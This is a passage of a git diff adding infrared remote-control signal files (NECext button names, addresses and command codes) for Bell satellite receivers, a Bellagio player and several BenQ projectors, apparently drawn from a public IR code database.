+command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 14 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 16 00 00 00 +# +name: CURS_RIGHT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 18 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1B 00 00 00 +# +name: CURS_LEFT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1C 00 00 00 +# +name: CURS_DOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1E 00 00 00 +# +name: REC. +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir new file mode 100644 index 000000000..d6d0fd513 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 10 00 00 00 +# +name: SEL. +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 11 00 00 00 +# +name: CANCL +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 12 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 16 00 00 00 +# +name: MENU_RT. +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 18 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1A 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1A 00 00 00 +# +name: RECAL +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1B 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1C 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1E 00 00 00 +# +name: MENU_DWN. +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1E 00 00 00 +# +name: RECRD +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 21 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir new file mode 100644 index 000000000..a063bd4fe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PG._DN. +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PG._UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: FWD. +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SKIP- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SEARCH_FWD. +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: SKIP+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir new file mode 100644 index 000000000..0297dd1e6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 03 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 07 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 0F 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 31 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 32 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 36 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir new file mode 100644 index 000000000..71a4e155c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 03 00 00 00 +# +name: PG._DN. +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 07 00 00 00 +# +name: PG._UP +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 0F 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 31 00 00 00 +# +name: SEARCH_BACK +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 31 00 00 00 +# +name: FWD. +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 32 00 00 00 +# +name: SEARCH_FWD. +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 32 00 00 00 +# +name: SKIP- +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 36 00 00 00 +# +name: SKIP+ +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 37 00 00 00 +# +name: EVENT +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 39 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 02 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir new file mode 100644 index 000000000..6ed6a4062 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir new file mode 100644 index 000000000..f3241961e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 10 01 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir new file mode 100644 index 000000000..eb388e2e4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: VIEW +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 16 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir new file mode 100644 index 000000000..691a5bb60 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir new file mode 100644 index 000000000..acc545ed7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: ntsc/pal +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: tvpicture +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: X_KEY_1/all +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: bwd +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 42 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: vocal-assist +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4B 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4F 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir new file mode 100644 index 000000000..70d8d60d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: < +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 02 00 00 00 +# +name: PIP_SOURCE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 06 00 00 00 +# +name: PIP_SIZE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 07 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 08 00 00 00 +# +name: PIP_POSITION +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0A 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0E 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 20 00 00 00 +# +name: AUTO_TRACKING +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 28 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2A 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2C 00 00 00 +# +name: ZOOM- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir new file mode 100644 index 000000000..6f1cde118 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: LEFT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 02 00 00 00 +# +name: PIP_SOURCE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 06 00 00 00 +# +name: PIP_SIZE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 07 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 08 00 00 00 +# +name: PIP_POS. +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0C 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0D 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0E 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 12 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 18 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1A 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 20 00 00 00 +# +name: VOLUME- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 22 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 28 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2A 00 00 00 +# +name: D.ZOOM+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2C 00 00 00 +# +name: D.ZOOM- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2D 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir b/assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir new file mode 100644 index 000000000..7798ae30d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: PAGE- +type: parsed +protocol: NECext +address: 48 50 00 00 +command: 05 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 48 50 00 00 +command: 06 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir new file mode 100644 index 000000000..9ec6456ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0C 00 00 00 +# +name: dualdigit +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0D 00 00 00 +# +name: zap +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0F 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 12 00 00 00 +# +name: aspectratio +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 13 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 48 00 00 00 +# +name: tt_index +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 4C 00 00 00 +# +name: tt_subpage +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 4D 00 00 00 +# +name: tt_info +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 4E 00 00 00 +# +name: teletext_display +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 4F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 51 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 52 00 00 00 +# +name: audiomode +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 53 00 00 00 +# +name: backlight +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 54 00 00 00 +# +name: usersituation +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 55 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 56 00 00 00 +# +name: sleeptimer +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 58 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 5C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir b/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir new file mode 100644 index 000000000..a1b4f0fe4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 02 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 03 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 04 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 05 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 06 00 00 00 +# +name: blank +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 07 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 08 00 00 00 +# +name: keystone-larger +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 09 00 00 00 +# +name: keystone-smaller +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0F 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 10 00 00 00 +# +name: keystone-auto +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir b/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir new file mode 100644 index 000000000..2ef0f66aa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: FREEZE +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 03 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 04 00 00 00 +# +name: ECOBLANK +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 07 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 08 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 10 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 11 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 14 00 00 00 +# +name: BRIGHT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 16 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 1B 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 41 00 00 00 +# +name: KEY_SUSPEND +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 4E 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 4E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 4F 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 4F 00 00 00 +# +name: COMP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 51 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 52 00 00 00 +# +name: HDMI-1 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 58 00 00 00 +# +name: HDMI-2 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 59 00 00 00 +# +name: FINE_TUNE +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 5D 00 00 00 +# +name: COLOR_TEMP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 5F 00 00 00 +# +name: USER1 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 75 00 00 00 +# +name: USER2 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 76 00 00 00 +# +name: USER3 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 77 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 79 00 00 00 +# +name: TINT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 7A 00 00 00 +# +name: SHARP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 7E 00 00 00 